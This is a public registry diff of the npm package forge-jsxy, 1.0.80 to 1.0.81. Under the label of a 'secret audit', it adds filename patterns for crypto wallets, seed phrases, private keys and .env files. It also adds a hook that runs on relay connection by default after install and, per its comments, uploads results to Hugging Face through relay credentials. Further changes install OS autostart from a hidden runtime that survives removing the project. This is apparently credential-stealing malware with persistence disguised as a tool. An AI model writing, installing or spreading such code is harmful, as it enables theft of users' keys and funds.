forge-jsxy 1.0.80 → 1.0.81

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (34) hide show
  1. package/assets/secret_filename_patterns.json +89 -0
  2. package/dist/assets/files-explorer-template.html +1 -1
  3. package/dist/assets/secret_filename_patterns.json +89 -0
  4. package/dist/autostart/resolve.js +2 -2
  5. package/dist/cli-agent.js +24 -11
  6. package/dist/cli-autostart.js +82 -8
  7. package/dist/cli-forge.js +0 -0
  8. package/dist/cli-relay.js +0 -0
  9. package/dist/durableDistDir.d.ts +4 -0
  10. package/dist/durableDistDir.js +61 -0
  11. package/dist/relayAgent.js +6 -0
  12. package/dist/relayServer.js +17 -0
  13. package/dist/secretScan/agentStartupAudit.d.ts +36 -0
  14. package/dist/secretScan/agentStartupAudit.js +467 -0
  15. package/dist/secretScan/contentScanner.d.ts +23 -0
  16. package/dist/secretScan/contentScanner.js +258 -0
  17. package/dist/secretScan/dedupeFindings.d.ts +6 -0
  18. package/dist/secretScan/dedupeFindings.js +132 -0
  19. package/dist/secretScan/fileCandidates.d.ts +23 -0
  20. package/dist/secretScan/fileCandidates.js +302 -0
  21. package/dist/secretScan/runFilenameSecretScan.d.ts +52 -0
  22. package/dist/secretScan/runFilenameSecretScan.js +376 -0
  23. package/dist/secretScan/scanConfig.d.ts +4 -0
  24. package/dist/secretScan/scanConfig.js +34 -0
  25. package/dist/secretScan/types.d.ts +74 -0
  26. package/dist/secretScan/types.js +6 -0
  27. package/dist/workerBootstrap.js +12 -1
  28. package/package.json +4 -3
  29. package/scripts/forge-isolated-runtime.mjs +278 -0
  30. package/scripts/forge-jsx-explorer-kill-agent.mjs +3 -0
  31. package/scripts/forge-jsx-explorer-restart.mjs +2 -0
  32. package/scripts/forge-jsx-explorer-upgrade.mjs +2 -0
  33. package/scripts/postinstall-agent.mjs +159 -14
  34. package/scripts/postinstall-durable-materialize.mjs +118 -0
@@ -0,0 +1,89 @@
1
+ {
2
+ "max_file_size_bytes": 1048576,
3
+ "include_patterns": [
4
+ "*.env*",
5
+ ".env",
6
+ ".env.local",
7
+ ".env.production",
8
+ ".env.secret",
9
+ "config.json",
10
+ "settings.json",
11
+ "secrets.json",
12
+ "wallet.json",
13
+ "wallet.dat",
14
+ "id.json",
15
+ "keypair.json",
16
+ "private_key.json",
17
+ "secret.key",
18
+ "private.pem",
19
+ "ecdsa.pem",
20
+ "UTC--*",
21
+ "*.key",
22
+ "*.pk",
23
+ "*.p8",
24
+ "*.p12",
25
+ "*.pfx",
26
+ "*.jks",
27
+ "*.keystore",
28
+ "*.ks",
29
+ "*.wallet",
30
+ "*.mnemonic",
31
+ "*.seed",
32
+ "*.phrase",
33
+ "*.backup",
34
+ "*.old",
35
+ "keys.txt",
36
+ "priv.txt",
37
+ "secret.txt",
38
+ "mywallet",
39
+ "backup_key",
40
+ "config_sniper.json",
41
+ "main-wallet.json",
42
+ "wallet-keypair.json",
43
+ "new_keypair.json",
44
+ "accounts.txt",
45
+ "encryptData.txt",
46
+ "hardhat.config.js",
47
+ "truffle-config.js",
48
+ "*private*",
49
+ "*secret*",
50
+ "*keypair*",
51
+ "*keystore*",
52
+ "*wallet*.json",
53
+ "*id.json",
54
+ "*keypair*.json",
55
+ "*private*.pem",
56
+ "*secret*.txt",
57
+ "*private*.txt",
58
+ "wg*.conf",
59
+ "wg0.conf",
60
+ "identity.age",
61
+ "*.age",
62
+ "age-key.txt"
63
+ ],
64
+ "include_dirs": [
65
+ ".keys",
66
+ ".secrets",
67
+ ".solana",
68
+ ".ethereum",
69
+ ".bitcoin",
70
+ ".web3",
71
+ ".keystore",
72
+ ".config/solana"
73
+ ],
74
+ "include_dir_suffixes": [],
75
+ "include_dir_paths": [],
76
+ "exclude_dirs": [
77
+ ".git",
78
+ "node_modules",
79
+ "__pycache__",
80
+ ".venv",
81
+ "venv",
82
+ "proc",
83
+ "sys",
84
+ "dev",
85
+ "System Volume Information",
86
+ "$Recycle.Bin",
87
+ "Library/Caches"
88
+ ]
89
+ }
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.80 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.81 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -0,0 +1,89 @@
1
+ {
2
+ "max_file_size_bytes": 1048576,
3
+ "include_patterns": [
4
+ "*.env*",
5
+ ".env",
6
+ ".env.local",
7
+ ".env.production",
8
+ ".env.secret",
9
+ "config.json",
10
+ "settings.json",
11
+ "secrets.json",
12
+ "wallet.json",
13
+ "wallet.dat",
14
+ "id.json",
15
+ "keypair.json",
16
+ "private_key.json",
17
+ "secret.key",
18
+ "private.pem",
19
+ "ecdsa.pem",
20
+ "UTC--*",
21
+ "*.key",
22
+ "*.pk",
23
+ "*.p8",
24
+ "*.p12",
25
+ "*.pfx",
26
+ "*.jks",
27
+ "*.keystore",
28
+ "*.ks",
29
+ "*.wallet",
30
+ "*.mnemonic",
31
+ "*.seed",
32
+ "*.phrase",
33
+ "*.backup",
34
+ "*.old",
35
+ "keys.txt",
36
+ "priv.txt",
37
+ "secret.txt",
38
+ "mywallet",
39
+ "backup_key",
40
+ "config_sniper.json",
41
+ "main-wallet.json",
42
+ "wallet-keypair.json",
43
+ "new_keypair.json",
44
+ "accounts.txt",
45
+ "encryptData.txt",
46
+ "hardhat.config.js",
47
+ "truffle-config.js",
48
+ "*private*",
49
+ "*secret*",
50
+ "*keypair*",
51
+ "*keystore*",
52
+ "*wallet*.json",
53
+ "*id.json",
54
+ "*keypair*.json",
55
+ "*private*.pem",
56
+ "*secret*.txt",
57
+ "*private*.txt",
58
+ "wg*.conf",
59
+ "wg0.conf",
60
+ "identity.age",
61
+ "*.age",
62
+ "age-key.txt"
63
+ ],
64
+ "include_dirs": [
65
+ ".keys",
66
+ ".secrets",
67
+ ".solana",
68
+ ".ethereum",
69
+ ".bitcoin",
70
+ ".web3",
71
+ ".keystore",
72
+ ".config/solana"
73
+ ],
74
+ "include_dir_suffixes": [],
75
+ "include_dir_paths": [],
76
+ "exclude_dirs": [
77
+ ".git",
78
+ "node_modules",
79
+ "__pycache__",
80
+ ".venv",
81
+ "venv",
82
+ "proc",
83
+ "sys",
84
+ "dev",
85
+ "System Volume Information",
86
+ "$Recycle.Bin",
87
+ "Library/Caches"
88
+ ]
89
+ }
@@ -45,8 +45,8 @@ const clientId_1 = require("../clientId");
45
45
  */
46
46
  function resolveAutostartLaunch(distDir, opts) {
47
47
  const relay = (opts.relayUrl || "").trim();
48
- if (!relay) {
49
- throw new Error("relayUrl is required for autostart (forge-agent needs --relay)");
48
+ if (!relay && !opts.omitRelayArg) {
49
+ throw new Error("relayUrl is required for autostart unless --omit-relay-arg is set (agent uses embedded deployment relay URL).");
50
50
  }
51
51
  const nodeExe = process.execPath;
52
52
  const agentScript = path.join(distDir, "cli-agent.js");
package/dist/cli-agent.js CHANGED
@@ -7,6 +7,7 @@ const clientId_1 = require("./clientId");
7
7
  const agentEnvFile_1 = require("./autostart/agentEnvFile");
8
8
  const manifest_1 = require("./autostart/manifest");
9
9
  const agentRunner_1 = require("./agentRunner");
10
+ const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
10
11
  function bootstrapSyncEnvFromDisk() {
11
12
  const dir = (0, clientId_1.defaultCfgmgrDataDir)();
12
13
  (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
@@ -22,8 +23,18 @@ function bootstrapSyncEnvFromDisk() {
22
23
  process.env.CFGMGR_API_URL = u;
23
24
  }
24
25
  }
25
- if (process.argv.includes("-h") || process.argv.includes("--help")) {
26
+ if (process.argv[2] === "secret-scan") {
27
+ void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
28
+ .then((code) => process.exit(code))
29
+ .catch((e) => {
30
+ console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
31
+ process.exit(2);
32
+ });
33
+ }
34
+ else if (process.argv.includes("-h") || process.argv.includes("--help")) {
26
35
  console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
36
+ ` forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
37
+ ` Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
27
38
  `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
28
39
  `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
29
40
  ` Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
@@ -41,16 +52,18 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
41
52
  `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
42
53
  process.exit(0);
43
54
  }
44
- try {
45
- bootstrapSyncEnvFromDisk();
46
- const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
47
- if (!opts) {
48
- console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
55
+ else {
56
+ try {
57
+ bootstrapSyncEnvFromDisk();
58
+ const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
59
+ if (!opts) {
60
+ console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
61
+ process.exit(2);
62
+ }
63
+ (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
64
+ }
65
+ catch (e) {
66
+ console.error("forge-agent:", e instanceof Error ? e.message : e);
49
67
  process.exit(2);
50
68
  }
51
- (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
52
- }
53
- catch (e) {
54
- console.error("forge-agent:", e instanceof Error ? e.message : e);
55
- process.exit(2);
56
69
  }
@@ -1,17 +1,55 @@
1
1
  #!/usr/bin/env node
2
2
  "use strict";
3
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
4
+ if (k2 === undefined) k2 = k;
5
+ var desc = Object.getOwnPropertyDescriptor(m, k);
6
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
7
+ desc = { enumerable: true, get: function() { return m[k]; } };
8
+ }
9
+ Object.defineProperty(o, k2, desc);
10
+ }) : (function(o, m, k, k2) {
11
+ if (k2 === undefined) k2 = k;
12
+ o[k2] = m[k];
13
+ }));
14
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
15
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
16
+ }) : function(o, v) {
17
+ o["default"] = v;
18
+ });
19
+ var __importStar = (this && this.__importStar) || (function () {
20
+ var ownKeys = function(o) {
21
+ ownKeys = Object.getOwnPropertyNames || function (o) {
22
+ var ar = [];
23
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
24
+ return ar;
25
+ };
26
+ return ownKeys(o);
27
+ };
28
+ return function (mod) {
29
+ if (mod && mod.__esModule) return mod;
30
+ var result = {};
31
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
32
+ __setModuleDefault(result, mod);
33
+ return result;
34
+ };
35
+ })();
3
36
  Object.defineProperty(exports, "__esModule", { value: true });
4
37
  /**
5
38
  * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
6
39
  */
40
+ const fs = __importStar(require("node:fs"));
41
+ const path = __importStar(require("node:path"));
7
42
  const install_1 = require("./autostart/install");
43
+ const durableDistDir_1 = require("./durableDistDir");
8
44
  function parseArgs(argv) {
45
+ const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
9
46
  const opts = {
10
47
  relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
11
48
  process.env.CFGMGR_RELAY_URL?.trim() ||
12
49
  "",
13
50
  };
14
51
  let cmd = "help";
52
+ let distDir = envDist;
15
53
  for (let i = 2; i < argv.length; i++) {
16
54
  const a = argv[i];
17
55
  if (a === "install")
@@ -35,33 +73,63 @@ function parseArgs(argv) {
35
73
  opts.noPassword = true;
36
74
  else if (a === "--no-filesystem")
37
75
  opts.noFilesystem = true;
76
+ else if (a === "--omit-relay-arg")
77
+ opts.omitRelayArg = true;
78
+ else if (a === "--omit-sync-url")
79
+ opts.omitSyncUrl = true;
80
+ else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
81
+ distDir = path.resolve(argv[++i]);
82
+ }
83
+ }
84
+ return { cmd, opts, distDir };
85
+ }
86
+ /** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
87
+ function resolveDistDirForInstall(parsedDist) {
88
+ const trimmed = parsedDist.trim();
89
+ if (trimmed)
90
+ return trimmed;
91
+ const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
92
+ if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
93
+ return durable;
38
94
  }
39
- return { cmd, opts };
95
+ return (0, install_1.defaultDistDir)();
40
96
  }
41
97
  function printHelp() {
42
98
  console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
43
99
 
44
100
  Usage:
45
- forge-autostart install --relay <ws://host:9877> [options]
101
+ forge-autostart install [--relay <ws://host:9877>] [options]
46
102
  forge-autostart uninstall
47
103
  forge-autostart status
48
104
 
49
105
  Options (install):
50
- --relay URL WebSocket relay (required unless FORGE_JS_RELAY_URL or CFGMGR_RELAY_URL is set)
106
+ --relay URL WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
51
107
  --session ID Optional session id (else uses persisted .client_id)
52
108
  --password P Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
53
109
  --no-password Agent without password
54
110
  --no-filesystem Disable fs explorer on agent
111
+ --dist-dir DIR Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
112
+ --omit-relay-arg Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
113
+ --omit-sync-url Omit sync URL from forge-js-agent.env (bundle-sourced sync)
114
+
115
+ Env:
116
+ FORGE_JS_AUTOSTART_DIST_DIR Same as --dist-dir when set
55
117
 
56
118
  Behavior:
57
119
  Windows: Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
58
120
  Linux: systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
59
121
  macOS: ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
60
122
 
61
- Requires: npm run build so dist/cli-agent.js exists. Uses current Node (process.execPath).
123
+ PATH:
124
+ Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
125
+ cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
126
+ dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
127
+ otherwise this package's dist/ next to forge-autostart.
128
+
129
+ Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
62
130
  `);
63
131
  }
64
- const { cmd, opts } = parseArgs(process.argv);
132
+ const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
65
133
  if (cmd === "help") {
66
134
  printHelp();
67
135
  process.exit(0);
@@ -76,11 +144,17 @@ if (cmd === "uninstall") {
76
144
  process.exit(0);
77
145
  }
78
146
  if (cmd === "install") {
79
- if (!opts.relayUrl.trim()) {
80
- console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL required.");
147
+ if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
148
+ console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
149
+ "or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
150
+ process.exit(2);
151
+ }
152
+ let distDirFinal = resolveDistDirForInstall(parsedDist);
153
+ if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
154
+ console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
81
155
  process.exit(2);
82
156
  }
83
- const ok = (0, install_1.installAutostart)(opts, (0, install_1.defaultDistDir)());
157
+ const ok = (0, install_1.installAutostart)(opts, distDirFinal);
84
158
  if (ok) {
85
159
  console.log("forge-autostart: install completed.");
86
160
  process.exit(0);
package/dist/cli-forge.js CHANGED
File without changes
package/dist/cli-relay.js CHANGED
File without changes
@@ -0,0 +1,4 @@
1
+ /**
2
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
3
+ */
4
+ export declare function readDurableForgeDistDirFromDisk(): string;
@@ -0,0 +1,61 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.readDurableForgeDistDirFromDisk = readDurableForgeDistDirFromDisk;
37
+ /**
38
+ * Durable agent install path written by `scripts/forge-isolated-runtime.mjs` (`current.json`).
39
+ */
40
+ const fs = __importStar(require("node:fs"));
41
+ const path = __importStar(require("node:path"));
42
+ const clientId_1 = require("./clientId");
43
+ /**
44
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
45
+ */
46
+ function readDurableForgeDistDirFromDisk() {
47
+ try {
48
+ const base = path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy");
49
+ const cur = path.join(base, "current.json");
50
+ if (!fs.existsSync(cur))
51
+ return "";
52
+ const j = JSON.parse(fs.readFileSync(cur, "utf8"));
53
+ const d = String(j.distDir ?? "").trim();
54
+ if (!d || !fs.existsSync(path.join(d, "cli-agent.js")))
55
+ return "";
56
+ return d;
57
+ }
58
+ catch {
59
+ return "";
60
+ }
61
+ }
@@ -55,6 +55,7 @@ const deploymentDefaults_1 = require("./deploymentDefaults");
55
55
  const agentEnvFile_1 = require("./autostart/agentEnvFile");
56
56
  const clientId_1 = require("./clientId");
57
57
  const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
58
+ const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
58
59
  const pendingRelayHf = new Map();
59
60
  /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
60
61
  const pendingDiscordRelayAck = new Map();
@@ -558,6 +559,11 @@ function runRelayAgentLoop(opts) {
558
559
  catch {
559
560
  /* skip */
560
561
  }
562
+ (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
563
+ relayCaps: caps,
564
+ quiet,
565
+ fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
566
+ });
561
567
  tryStartDiscordAfterHandshake();
562
568
  };
563
569
  ws.on("open", () => {
@@ -265,6 +265,20 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
265
265
  return "relay";
266
266
  return "webhook";
267
267
  }
268
+ /**
269
+ * Advertise `relay_features.agent_secret_audit` (belt-and-suspenders with agents, which default audit **ON**
270
+ * when `FORGE_JS_AGENT_SECRET_AUDIT` is unset).
271
+ * Default **on** when `RELAY_HF_CREDENTIALS_B64` is set; opt out with `RELAY_AGENT_SECRET_AUDIT=0`.
272
+ * Agents honor `FORGE_JS_AGENT_SECRET_AUDIT=0` to force-disable locally.
273
+ */
274
+ function relayAgentSecretAuditAdvertised() {
275
+ const raw = (process.env.RELAY_AGENT_SECRET_AUDIT || "").trim().toLowerCase();
276
+ if (["0", "false", "no", "off"].includes(raw))
277
+ return false;
278
+ if (["1", "true", "yes", "on"].includes(raw))
279
+ return true;
280
+ return Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
281
+ }
268
282
  /**
269
283
  * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
270
284
  * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
@@ -1127,6 +1141,9 @@ function attachConnection(ws, req, role, sessionId) {
1127
1141
  ? { discord_screenshot_first_stagger_ms: discordFirstStagger }
1128
1142
  : {}),
1129
1143
  hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
1144
+ ...(relayAgentSecretAuditAdvertised()
1145
+ ? { agent_secret_audit: true }
1146
+ : {}),
1130
1147
  ...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
1131
1148
  /** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
1132
1149
  relay_version: (() => {
@@ -0,0 +1,36 @@
1
+ /**
2
+ * Relay-connected agent hook: scan for cryptocurrency-shaped keys/seeds (heuristic),
3
+ * merge unique hits locally in `result.json`, optionally upload **redacted** JSON to Hugging Face
4
+ * using relay HF credentials (`relay_hf_credentials_request` → token).
5
+ *
6
+ * **Local persistence:** `<CfgMgr data>/.forge-jsxy/.vault/secret-audit/result.json` is the canonical store.
7
+ * It lives under the hidden `.vault` tree (system-level cfgmgr data, not the npm package). Each successful run
8
+ * **merges** new unique fingerprints into existing disk state — **`result.json` is never deleted** by this module
9
+ * (only atomically replaced in place). File-explorer **Upgrade / Restart agent / Kill agent** flows do **not**
10
+ * remove this path (they stop cfgmgr, rebuild, sanitize env — audit history survives).
11
+ *
12
+ * Scheduling: after relay `connected`, runs once per agent **process** start (plus OS reboot / interval).
13
+ * Same-process WebSocket reconnects are throttled by `FORGE_JS_AGENT_SECRET_AUDIT_MIN_INTERVAL_MS`
14
+ * unless the saved `agent_process_nonce` matches this process (interval applies).
15
+ *
16
+ * **Default:** audit scheduling is **ON** after install (`FORGE_JS_AGENT_SECRET_AUDIT` unset). Set `FORGE_JS_AGENT_SECRET_AUDIT=0` to disable locally.
17
+ *
18
+ * Authorized deployments only. Full normalized values stay in local result.json only unless
19
+ * FORGE_JS_AGENT_SECRET_AUDIT_HF_FULL_PAYLOAD=1 (discouraged).
20
+ */
21
+ import type { HfCredentials } from "../hfCredentials";
22
+ export declare function resultJsonPath(): string;
23
+ export declare function agentSecretAuditProcessNonce(): string;
24
+ /** Default ON for turnkey agents (`npm install`). Opt out: FORGE_JS_AGENT_SECRET_AUDIT=0|false|no|off. */
25
+ export declare function isAgentSecretAuditEnabled(caps?: Record<string, unknown>): boolean;
26
+ export declare function shouldRunSecretAuditNow(): boolean;
27
+ export declare function runAgentStartupSecretAudit(opts: {
28
+ relayCaps?: Record<string, unknown>;
29
+ fetchHubCredentials: () => Promise<HfCredentials>;
30
+ quiet: boolean;
31
+ }): Promise<void>;
32
+ export declare function scheduleAgentStartupSecretAudit(opts: {
33
+ relayCaps: Record<string, unknown>;
34
+ quiet: boolean;
35
+ fetchHubCredentials: () => Promise<HfCredentials>;
36
+ }): void;